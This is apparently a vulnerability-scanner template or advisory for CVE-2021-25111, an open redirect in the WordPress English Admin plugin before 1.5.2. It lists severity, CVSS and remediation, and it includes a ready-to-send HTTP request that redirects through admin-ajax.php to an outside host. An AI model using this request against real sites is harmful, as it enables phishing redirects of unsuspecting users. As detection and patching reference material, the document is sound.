| Title | WordPress English Admin <1.5.2 - Open Redirect |
|---|---|
| Author | akincibor |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the execution of other malicious activities. |
| Remediation | Update to the latest version of the WordPress English Admin plugin (1.5.2 or higher) to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01767 |
| CVE ID | CVE-2021-25111 |
| CWE ID | CWE-601 |
| Tags | cve2021 cve unauth wpscan wp-plugin redirect wordpress wp english_wordpress_admin_project vuln |
WordPress English Admin plugin before 1.5.2 contains an open redirect vulnerability. The plugin does not validate the admin_custom_language_return_url before redirecting users to it. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /wp-admin/admin-ajax.php?action=heartbeat&admin_custom_language_toggle=1&admin_custom_language_return_url=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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